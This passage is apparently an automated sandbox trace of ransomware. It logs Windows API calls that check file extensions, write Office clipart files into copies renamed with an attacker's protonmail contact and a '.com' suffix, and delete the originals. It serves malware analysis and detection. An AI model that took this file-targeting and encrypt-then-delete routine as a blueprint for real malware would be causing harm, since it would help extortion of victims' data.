(lpString1=".docx", lpString2="_.WMF") returned -1 [0295.298] lstrlenW (lpString=".pdf") returned 4 [0295.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.298] lstrlenW (lpString=".xls") returned 4 [0295.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.298] lstrlenW (lpString=".xlsx") returned 5 [0295.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.298] lstrlenW (lpString=".ppt") returned 4 [0295.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.298] lstrlenW (lpString=".zip") returned 4 [0295.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.298] lstrlenW (lpString=".rar") returned 4 [0295.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.299] lstrlenW (lpString=".bz2") returned 4 [0295.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.299] lstrlenW (lpString=".7z") returned 3 [0295.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.299] lstrlenW (lpString=".dbf") returned 4 [0295.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.299] lstrlenW (lpString=".1cd") returned 4 [0295.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0295.299] lstrlenW (lpString=".jpg") returned 4 [0295.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.299] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.299] lstrlenW (lpString="DD01163_.WMF") returned 12 [0295.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0295.299] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2300) returned 1 [0295.300] CloseHandle (hObject=0x10bc) returned 1 [0295.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0295.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0295.300] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.300] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0295.301] GetLastError () returned 0x0 [0295.301] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0295.382] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x900, lpOverlapped=0x0) returned 1 [0295.382] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.383] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.383] SetEndOfFile (hFile=0x10dc) returned 1 [0295.383] CloseHandle (hObject=0x10dc) returned 1 [0295.383] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.383] SetEndOfFile (hFile=0x10bc) returned 1 [0295.384] CloseHandle (hObject=0x10bc) returned 1 [0295.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0295.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.385] lstrlenW (lpString=".doc") returned 4 [0295.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString=".docx") returned 5 [0295.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.385] lstrlenW (lpString=".pdf") returned 4 [0295.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString=".xls") returned 4 [0295.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.385] lstrlenW (lpString=".xlsx") returned 5 [0295.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.385] lstrlenW (lpString=".ppt") returned 4 [0295.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.385] lstrlenW (lpString=".zip") returned 4 [0295.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.385] lstrlenW (lpString=".rar") returned 4 [0295.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString=".bz2") returned 4 [0295.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.385] lstrlenW (lpString=".7z") returned 3 [0295.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.386] lstrlenW (lpString=".dbf") returned 4 [0295.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.386] lstrlenW (lpString=".1cd") returned 4 [0295.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.386] lstrlenW (lpString=".jpg") returned 4 [0295.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.386] lstrlenW (lpString=".doc") returned 4 [0295.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.386] lstrlenW (lpString=".docx") returned 5 [0295.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.386] lstrlenW (lpString=".pdf") returned 4 [0295.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.386] lstrlenW (lpString=".xls") returned 4 [0295.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.386] lstrlenW (lpString=".xlsx") returned 5 [0295.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.386] lstrlenW (lpString=".ppt") returned 4 [0295.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.386] lstrlenW (lpString=".zip") returned 4 [0295.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.386] lstrlenW (lpString=".rar") returned 4 [0295.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.387] lstrlenW (lpString=".bz2") returned 4 [0295.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.387] lstrlenW (lpString=".7z") returned 3 [0295.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.387] lstrlenW (lpString=".dbf") returned 4 [0295.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.387] lstrlenW (lpString=".1cd") returned 4 [0295.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0295.387] lstrlenW (lpString=".jpg") returned 4 [0295.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.387] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.387] lstrlenW (lpString="DD01168_.WMF") returned 12 [0295.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0295.387] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2004) returned 1 [0295.388] CloseHandle (hObject=0x10bc) returned 1 [0295.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0295.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0295.388] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.388] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0295.389] GetLastError () returned 0x0 [0295.389] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x7d4, lpOverlapped=0x0) returned 1 [0296.178] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x7e0, lpOverlapped=0x0) returned 1 [0296.179] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.179] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.179] SetEndOfFile (hFile=0x10dc) returned 1 [0296.179] CloseHandle (hObject=0x10dc) returned 1 [0296.179] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.179] SetEndOfFile (hFile=0x10bc) returned 1 [0296.180] CloseHandle (hObject=0x10bc) returned 1 [0296.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0296.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.181] lstrlenW (lpString=".doc") returned 4 [0296.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.181] lstrlenW (lpString=".docx") returned 5 [0296.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.181] lstrlenW (lpString=".pdf") returned 4 [0296.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.181] lstrlenW (lpString=".xls") returned 4 [0296.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.181] lstrlenW (lpString=".xlsx") returned 5 [0296.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.181] lstrlenW (lpString=".ppt") returned 4 [0296.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.181] lstrlenW (lpString=".zip") returned 4 [0296.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.181] lstrlenW (lpString=".rar") returned 4 [0296.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.181] lstrlenW (lpString=".bz2") returned 4 [0296.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.181] lstrlenW (lpString=".7z") returned 3 [0296.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.181] lstrlenW (lpString=".dbf") returned 4 [0296.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.182] lstrlenW (lpString=".1cd") returned 4 [0296.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.182] lstrlenW (lpString=".jpg") returned 4 [0296.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.182] lstrlenW (lpString=".doc") returned 4 [0296.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString=".docx") returned 5 [0296.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.182] lstrlenW (lpString=".pdf") returned 4 [0296.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString=".xls") returned 4 [0296.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.182] lstrlenW (lpString=".xlsx") returned 5 [0296.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.182] lstrlenW (lpString=".ppt") returned 4 [0296.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.182] lstrlenW (lpString=".zip") returned 4 [0296.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.182] lstrlenW (lpString=".rar") returned 4 [0296.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString=".bz2") returned 4 [0296.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.182] lstrlenW (lpString=".7z") returned 3 [0296.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.182] lstrlenW (lpString=".dbf") returned 4 [0296.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.183] lstrlenW (lpString=".1cd") returned 4 [0296.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0296.183] lstrlenW (lpString=".jpg") returned 4 [0296.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.183] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.183] lstrlenW (lpString="DD01173_.WMF") returned 12 [0296.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.184] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1804) returned 1 [0296.184] CloseHandle (hObject=0x10bc) returned 1 [0296.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0296.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.184] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.184] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.185] GetLastError () returned 0x0 [0296.185] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x70c, lpOverlapped=0x0) returned 1 [0296.300] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x710, lpOverlapped=0x0) returned 1 [0296.301] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.301] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.301] SetEndOfFile (hFile=0x10dc) returned 1 [0296.301] CloseHandle (hObject=0x10dc) returned 1 [0296.301] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.301] SetEndOfFile (hFile=0x10bc) returned 1 [0296.302] CloseHandle (hObject=0x10bc) returned 1 [0296.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0296.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString=".doc") returned 4 [0296.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString=".docx") returned 5 [0296.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.303] lstrlenW (lpString=".pdf") returned 4 [0296.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString=".xls") returned 4 [0296.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.303] lstrlenW (lpString=".xlsx") returned 5 [0296.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.303] lstrlenW (lpString=".ppt") returned 4 [0296.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString=".zip") returned 4 [0296.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.303] lstrlenW (lpString=".rar") returned 4 [0296.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString=".bz2") returned 4 [0296.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString=".7z") returned 3 [0296.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString=".dbf") returned 4 [0296.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString=".1cd") returned 4 [0296.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString=".jpg") returned 4 [0296.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.303] lstrlenW (lpString=".doc") returned 4 [0296.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString=".docx") returned 5 [0296.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.304] lstrlenW (lpString=".pdf") returned 4 [0296.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString=".xls") returned 4 [0296.304] lstrcmpiW (lpString1=".xls", 